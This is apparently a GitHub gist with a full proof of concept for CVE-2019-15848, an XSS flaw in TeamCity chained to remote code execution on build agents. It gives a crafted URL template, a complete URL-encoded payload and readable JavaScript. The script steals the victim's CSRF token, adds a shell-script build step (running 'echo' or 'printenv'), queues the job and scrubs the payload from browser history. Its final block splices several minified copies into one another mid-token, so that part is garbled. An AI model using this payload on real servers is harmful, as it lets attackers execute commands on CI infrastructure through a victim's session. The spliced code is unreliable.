Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Full POC for CVE-2019-15848

CVE-2019-15848: TeamCity XSS to Remote Code Execution

This POC demonstrates taking advantage of a XSS vulnerability in TeamCity allowing an attacker to achieve Remote Code Execution on a build agent if the victim has the ability to add steps to a CI job.

POC

The POC can be simplified to the following URL:

https://[domain.com]/project.html?projectId=[target_project_id]&tab=problems%27%7D)%3B%7D)()%3B[JS_PAYLOAD]</script><script>/*

The [JS_PAYLOAD] is replaced by a URL encoded javascript payload to execute. In the case of this POC, the [JS_PAYLOAD] is replaced with the minified & URL encoded contents of team-city-rce-poc.js.

Links

Thanks

Thanks to @karanlyons who played Code Golf with my original inelegant POC to turn it into the minimalistic payload it is today.

Here is the full URL payload:
[domain.com] = The target domain
[target_project_id] = An existing Team City Project ID to target.
https://[domain.com]/project.html?projectId=[target_project_id]&tab=problems%27%7D)%3B%7D)()%3B((n%2Co%2Cr%2Cd%2Ci%2Cu%2Cp)%3D%3E%7Bn.r%7C%7C(n.r%3D1%2Co.history.replaceState(0%2Cn.title%2Cr.slice(0%2Cr.indexOf(%22%2527%22)))%2Co.onerror%3D(()%3D%3E!0)%2Co.addEventListener(%22DOMContentLoaded%22%2C()%3D%3E%7Bt%3Dn.querySelector(%22.tc-csrf-token-input%22).value%2Ce%3Dp(%60%2Fadmin%2FeditRunType.html%3Fid%3DbuildType%3A%24%7Bd%7D%26runnerId%3D__NEW_RUNNER__%26submitBuildType%3Dstore%60)%2Ce.onloadend%3D(()%3D%3E%7Be.onloadend%3D0%2Ca%3Dp(%22%2Fajax.html%22)%2Ca.setRequestHeader(%22X-TC-CSRF-Token%22%2Ct)%2Ca.send(%60add2Queue%3D%24%7Bd%7D%26validate%3Dtrue%26redirectTo%3D%60)%7D)%2Ce.send(%60runTypeInfoKey%3DsimpleRunner%26buildStepName%3DRCE%2BDemo%26prop%253Ateamcity.step.mode%3Ddefault%26prop%253Ause.custom.script%3Dtrue%26prop%253Ascript.content%3Decho%2B%2522RCE%2Bvia%2BXSS%2522%26submitButton%3DSave%26tc-csrf-token%3D%24%7Bt%7D%60)%7D))%7D)(document%2Cwindow%2Clocation.href%2C%22Temporally_ArtifactProducer%22%2C0%2C0%2Ce%3D%3E(x%3Dnew%20XMLHttpRequest%2Cx.open(%22POST%22%2Ce%2C!0)%2Cx.setRequestHeader(%22Content-Type%22%2C%22application%2Fx-www-form-urlencoded%22)%2Cx))</script><script>/*
((d, w, h, s, n, p, x) => {
if (d.r) { return } else { d.r = 1 }
// Remove the XSS payload from the URL & history
w.history.replaceState(0, d.title, h.slice(0, h.indexOf('%27')))
// Suppress all syntax errors in the console due to unmatched character pairs
w.onerror = () => !0
w.addEventListener('DOMContentLoaded', () => {
t = d.querySelector('.tc-csrf-token-input').value
// Create the RCE Build Step
e = x(`/admin/editRunType.html?id=buildType:${s}&runnerId=__NEW_RUNNER__&submitBuildType=store`)
e.onloadend = () => {
e.onloadend = 0
// Add the job to queue.
a = x('/ajax.html')
a.setRequestHeader('X-TC-CSRF-Token', t)
a.send(`add2Queue=${s}&validate=true&redirectTo=`)
}
e.send(`runTypeInfoKey=simpleRunner&buildStepName=${n}&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=${p}&submitButton=Save&tc-csrf-token=${t}`)
})
})(
document,
window,
location.href,
'Temporally_ArtifactProducer', // The name of the project to add the RCE payload to
'RCE+Demo',
'echo+%22RCE+via+XSS%22', // A URL encoded payload of the remote shell command to execute
(p) => {
x = new XMLHttpRequest()
x.open('POST', p, !0)
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
return x
}
)
((n,r,o,d,i,u,p)=>{n.r||(n.r=1,r.history.replaceState(0,n.title,o.slice(0,o.indexOf("%27"))),r.onerror=(()=>!0),r.addEventListener("DOMContentLoaded",()=>{t=n.querySelector(".tc-csrf-token-input").value,e=p(`/admin/editRunType.html?id=buildType:${d}&runnerId=__NEW_RUNNER__&submitBuildType=store`),e.onloadend=(()=>{e.onloadend=0,a=p("/ajax.html"),a.setRequestHeader("X-TC-CSRF-Token",t),a.send(`add2Queue=${d}&validate=true&redirectTo=`)}),e.send(`runTypeInfoKey=simpleRunner&buildStepName=RCE+Demo&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=printenv&submitButton=Save&tc-csrf-token=${t}`)}))})(document,window,location.href,"Temporally_ArtifactProducer",0,0,e=>(x=new XMLHttpRequest,x.ope((n,o,r,d,i,u,p)=>{n.r||(n.r=1,o.history.replaceState(0,n.title,r.slice(0,r.indexOf("%27"))),o.onerror=(()=>!0),o.addEventListener("DOMContentLoaded",()=>{t=n.querySelector(".tc-csrf-token-input").value,e=p(`/admin/editRunType.html?id=buildType:${d}&runnerId=__NEW_RUNNER__&submitBuildType=store`),e.onloadend=(()=>{e.onloadend=0,a=p("/ajax.html"),a.setRequestHeader("X-TC-CSRF-Token",t),a.send(`add2Queue=${d}&validate=true&redirectTo=`)}),e.send(`runTypeInfoKey=simpleRunner&buildStepName=RCE+Demo&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=echo+%22RCE+via+XSS%22&submitButton=Save&tc-csrf-token=${t}`)}))})(document,window,location.href,"Temporally_ArtifactProducer",0,0,e=>(x=new XMLHttpRequest,x.open("POST",e,!0),x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),x))n("POS((n,o,r,d,i,u,p)=>{n.r||(n.r=1,o.history.replaceState(0,n.title,r.slice(0,r.indexOf("%27"))),o.onerror=(()=>!0),o.addEventListener("DOMContentLoaded",()=>{t=n.querySelector(".tc-csrf-token-input").value,e=p(`/admin/editRunType.html?id=buildType:${d}&runnerId=__NEW_RUNNER__&submitBuildType=store`),e.onloadend=(()=>{e.onloadend=0,a=p("/ajax.html"),a.setRequestHeader("X-TC-CSRF-Token",t),a.send(`add2Queue=${d}&validate=true&redirectTo=`)}),e.send(`runTypeInfoKey=simpleRunner&buildStepName=RCE+Demo&prop%3Ateamcity.step.mode=default&prop%3Ause.custom.script=true&prop%3Ascript.content=echo+%22RCE+via+XSS%22&submitButton=Save&tc-csrf-token=${t}`)}))})(document,window,location.href,"Temporally_ArtifactProducer",0,0,e=>(x=new XMLHttpRequest,x.open("POST",e,!0),x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),x))T",e,!0),x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),x));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment